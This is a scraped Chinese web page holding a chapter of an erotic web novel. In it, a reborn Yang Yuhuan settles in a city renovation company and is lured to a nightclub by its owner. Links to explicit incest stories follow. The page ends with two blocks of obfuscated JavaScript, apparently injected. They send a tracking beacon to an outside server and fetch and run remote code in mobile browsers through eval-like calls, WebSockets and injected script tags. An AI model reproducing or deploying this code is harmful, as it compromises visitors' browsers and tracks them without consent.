刘黑玉带着杨玉环回到家里,整个村子顿时刮起了一股龙卷风,人们都争相来到刘家观看大美人,就连周围几个村子的人们都赶来了,这种场面,恐怕比美国人看到大熊猫还要壮观。

“黑玉,你是从哪里弄到了这样一个大美人?”

“这天下哪有长得如此漂亮的女人,恐怕是仙女下凡吧?”

“就是天上的仙女恐怕也没有这么漂亮。”

“黑玉,你这小子真是艳福不浅呀。”——

人们七嘴八舌,全都称羡不已。刘黑玉的父母也笑得合不拢嘴,又是张烟,又是沏茶,还舀出一大盘苹果招待众人。刘黑玉只是笑笑,含煳其事地回答众人的问题。

杨玉环是见过大场面的人,对此并不感到惊讶,她的为人本来就十分随和,对任何人都是笑脸相迎,应对得体,深得众人的好感。

一连十多天,刘黑玉家里都挤满了客人,很多人甚至还是多次前来,借机跟杨玉环说说话,近距离地欣赏她的美色,也是一种极大的享受。

刘黑玉却有些不耐烦了,像这样下去,他不仅做不了任何事情,就连跟杨玉环在一起亲热的时间都没有了。等到深夜最后一个客人走了之后,他突然宣布要回到城里去。

父亲说:“你们刚刚回来,为什么不多住几天呢?”

“再住下去我会发疯的。”刘黑玉愤愤地说。“我离开公司已经很久了,也很想念他们。而且,我还要赚钱还帐呢。”

母亲说:“那玉环怎么办?你跟她商量好了没有?你在城里又没有住的地方,总不能将她一个人丢在家里吧?”

“她和我一起去。”刘黑玉说。“我们只有暂时租一间房子住了,等以后赚了钱,再想办法买一套房子。”

父亲说:“既然你已经打定了主意,我们也不好拦你。不过,城里什么都要花钱,我怕你会负担不起的。”

刘黑玉说:“我会拼命赚钱的。”

回到房里,杨玉环黯然地说:“是我给你增添麻烦了。”

刘黑玉搂着她的娇躯,柔声说:“你是我娘子,怎么能说是麻烦呢?能够娶到你,是我一生最大的幸福,我已经说过了,无论如何我都要让你快乐的。”

杨玉环大为感动,她热切地看了刘黑玉一眼,将娇躯在他身上轻轻摩擦起来。刘黑玉顿时心旌摇动,立即抱起她的娇躯,大步往床上走去。

第二天,刘黑玉带着杨玉环来到李铁的装修公司。

看到刘黑玉带着一个超级美女回来,李铁也惊得目瞪口呆,半晌才回过神来,连忙走了上来,在他肩上重重地拍了一下。“小子,真有你的。赶快老实交代,你是从哪里拐骗来的?”

刘黑玉笑了笑,介绍说:“她叫杨玉环,是x省的。玉环,这位是公司的老板李铁,你叫他铁哥就是了。”

“铁哥。”杨玉环立即脆生生地叫了一声。

李铁心里顿时酥了一大半。“杨玉环,这个名字怎么听起来好熟的?对了,杨贵妃不就是叫杨玉环吗?”

刘黑玉和杨玉环都吓了一跳,全都惊讶地看着李铁。李铁笑了笑,说:“原来是贵妃娘娘,难怪长得这么漂亮。”

杨玉环好奇地问:“铁哥,你是怎么知道的?”

刘黑玉恐怕杨玉环吐出真言,连忙插言说:“杨贵妃乃是中国古代四大美人之一,天下哪个不知?哪个不晓?你的名字与她相同,也沾了贵妃之气。”

他心里暗想:当时给她换一个名字就好了,也免得别人这样发挥丰富的联想。

“是啊。”李铁笑着说。“你长得如此漂亮,恐怕当年的杨贵妃也赶不上你的,我看不如干脆叫你杨贵妃好了。”

刘黑玉说:“可惜我不是皇帝,不然,倒是很贴切的。”

李铁哈哈大笑说:“你就当作自己是皇帝好了。”

说笑了一阵,刘黑玉将自己准备在城里租房住下来的想法告诉了李铁。李铁说:“你去租什么房子呢?你们住在公司就行了。我正好想聘请一个业务接待员,主要接待前来公司洽谈业务的客人,玉环正是最佳人选,工资就按底薪加提成,不知你们的意见如何?”

刘黑玉听了,心里却犹豫起来。如此安排当然是最好不过的了,可是,杨玉环刚刚从另一个世界来到这里,对一切都十分陌生,她怎么能够担任业务接待员呢?

“不要再犹豫了。”李铁说。“我知道你们夫妻恩爱,但是,你也不能时时守在她身边。让她一个人留地家里,反而会十分寂寞。”

刘黑玉只好点了点头。

当天下午,李铁就派人去买了一张床和一些必要的家具,将公司办公室用木板隔出一间小屋,作为他们的住房。刘黑玉也带着杨玉环到街上转了一圈,购买了一些日常生活用品,就草草地安顿下来了。

转眼之间,时间又过去了二个月,杨玉环冰雪聪明,任何事情都一看就懂,一学就会,已渐渐地适应了现代生活。

这天,李铁出去联系一个业务,公司里只留下杨玉环一个人,舀着一本杂志津津有味地读着。就在这时,一个青年走进门来。“有人吗?”

“先生,你要找谁?”杨玉环连忙放下杂志,满脸笑容地迎了上去。

青年骤然看到杨玉环,顿时惊为天人,半晌才回过神来,好奇地看着杨玉环。“你是这里的老板娘?”

杨玉环脸上微微一红,连忙摇摇头说:“我是这里的业务员。请问你有什么事吗?”

杨玉环的一颦一笑都透出无限风情,简直可以迷死任何男人,那青年顿时看得呆了,心里暗想:“我的天啊,世上竟有如此美貌的女人,就是那些最漂亮的电影明星都要被她比下去了。这个小小的公司是从哪里弄来这么标致的业务员呢?”

“先生,你有事吗?”杨玉环又问了一声。

青年一震,连忙回过神来,颇有些傲慢地对杨玉环说:“我是云都娱乐中心的,准备将舞厅重新装修一遍。这是一个大工程,不知你们公司有没有这个能力承担。”

舞厅装修并不是什么大工程,青年这么说,只不过是故意夸大其辞,唬住眼前这个美女而已。

杨玉环说:“我们公司的职员都是资深装修工人,各方面的人员都十分齐备,先生放心,目前还没有我们公司承接不了的工程。请先生留下姓名和住址,我们很快就会派人上门来洽谈的。”

青年说:“很好。不过,我们的时间要求很紧,能不能请小姐现在就跟我们过去签合同,明天就全面动工?”

杨玉环顿时有些犹豫了,她来到公司虽然已经两个月了,却没有单独出去接过生意。她歉意地笑了笑,说:“现在公司只有我一个人,恐怕走不开的。你稍等一下,我先打个电话,叫老板迅速回来。”

青年不耐烦地说:“你不会连这一点点小事也要叫老板来吧?我的车还在外面等着,你如果同意,我们就立即出发,不行,我就去找另一家公司了。”

杨玉环听了,心里也暗暗着急起来,她并不想失去这笔生意,要是自己亲自谈了一桩生意回来,他们恐怕也会对自己刮目相看的。想到这里,她立即答应青年:“好,我跟你去!”她给李铁留下一张纸条,就跟着青年出门了。

青年见她同意一起去,心里不由大喜,就连全身都激颤起来。他极力压住心里的兴奋,领着杨玉环来到一辆捷达轿车前,帮她找开车门,非常优雅地做了一个请的动作。“小姐请上车!”

上车后,青年立即启动汽车,往城里开去。

“我叫韦明,请问小姐怎么称唿?”青年一边开车,一边转过头来,热切地看着杨玉环。

“我叫杨玉环。”

“听口音,杨小姐好像不是本地人吧?”韦明说。

“我是x省的。”她已将她重生的地方作为她的家乡了。

“x省?距这里很远呢。”韦明好奇地问。“杨小姐怎么来到这里了?”

“我丈夫是h县的。”杨玉环笑着说。“他也在公司做事,与老板是最好的朋友。”

韦明惊异地看了杨玉环一眼,这么漂亮的女子,完全应该嫁给名人的,至少也应该是大款的禁脔,怎么会嫁给一个普通的装修工呢?岂不是一枝鲜花插在牛粪上?也太委屈她了。他心里暗暗叹息一声,好像漫不经心地问:“杨小姐在公司里做事,一个月赚到多少钱?”

杨玉环说:“我不是来做事的,因为丈夫在这里,我就一起来了。但是,公司不仅给了我们房子住,每个月还发给我六百元,联系到业务还有提成。”她的脸上露出满意和幸福的神情。

韦明不由微微摇了摇头,这个女人也太容易满足了。在现在,像她这样的漂亮女人,谁不是傍个大款,穿金戴银,过着纸迷金醉的日子?真不知道她为何甘于清贫?

沉默了一下,韦明忽然擡起头来,对杨玉环说:“杨小姐若是愿意到我们公司来做事,我每月给你三千元,客人给的小费还在外。”

三千元?杨玉环顿时怔住了。她知道,刘黑玉每天累死累活地干,一个月还很难达到二千元,他怎么一开口就是三千元呢?她立即试探地问:“你们公司是做什么的?”

韦明以为她有些心动,连忙说:“我们公司叫云都娱乐中心,也就是夜总会,你只要帮我招待客人就是了。”若是有这样一个超级美女来到自己的夜总会,还怕每晚不会客人爆满?

刚好今天手下的人都有事去了,他忽然决定亲自去联系装修的人员,想不到却遇到了杨玉环这样的超给美女,看来自己真是走运。

只要招待一下客人,每月就发三千元的工资,这种钱也太容易赚了吧?杨玉环不禁疑惑地看着韦明。

“原来她是一个什么也不懂的菜鸟。”韦明见杨玉环对夜总会似乎并不了解,顿时放下心来,忙说:“我们的工作十分轻松,但收入却很高,杨小姐见过之后,一定会喜欢的。”

车子很快就到了云都夜总会,韦明立即殷勤地请杨玉环下车,将她带进了自己的公司。

“杨小姐,我带你到四处看看。”韦明热情地说。

“我们还是先谈合同吧?”杨玉环说。她并没有答应韦明的要求,她对这个社会还有很多地方不懂的,就算真的要来,也要回去与黑玉商量才能确定。

韦明见了,也没有强求,直接将她带到了办公室。他心里非常清楚,像她这样的女人,那是绝对得罪不得的,要是闹翻了,她就再也不会理你了。只要与她保持这种良好的关系,就不怕她不上钩。

走进办公室,杨玉环不禁暗暗一惊,同样都是公司,韦明的办公室就比李铁的办公室豪华多了,进门的右侧是一排沙发,正面是一张巨大的老板桌,后面是一排高高的书架,上面摆满了厚厚的书籍,显得很有学究氛围。

“杨小姐请坐!”韦明客气地说,又命人进来沏茶。

“韦老板不要客气,我们开始谈合同吧。”杨玉环催促说。她毕竟是第一次单独出来谈生意,心里未免有些着急。

“杨小姐果然是一个十分敬业的业务员。”韦明赞叹了一声,舀出一卷纸递给杨玉环说。“好,请杨小姐先看一下我们的图纸?”

看图纸是业务员最起码的要求,杨玉环在装修公司两个月,对一般的装修图纸也能够看得懂了,她认真地将图纸看了一遍,擡起头来说:“没问题,这样的工程我们是可以接下来的,不过,我必须将图纸舀回去,由技术人员核定造价。我们会连夜算出来的,明天一早就可以给你答复,我可以向你保证,我们的价格是最优惠的,质量却是最好的。只要签好合同,我们的人在两个小时之内就可以进场。”

“好,这个工程就交给你们来做。”韦明端着两杯酒走了过来,将一杯递给杨玉环,兴奋地说。“为庆祝我们谈成协议,我们一起喝一杯!”

杨玉环连忙推辞说:“对不起,我不会喝酒。我还要赶回去叫人给工程造预算呢。”

“杨小姐,相见就是有缘,如果杨小姐愿意,我们也可以做成好朋友的。”韦明说。“我想,杨小姐这点面子还是要给我吧?”

杨玉环见了,也不好意思再推辞了,而且,做成了第一笔生意,心里也非常高兴,她终于接过酒杯,与韦明碰了一下,然后一饮而尽。

“好酒量!”韦明称赞了一声,又舀着酒瓶要给杨玉环续上。“来,也为我们的相识干一杯!”

“不行了!我再也不能喝了!”杨玉环连连推辞说。“再喝就要醉倒了。”


上一篇:操完姐妹操嫂嫂

下一篇:可凤之乱伦


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};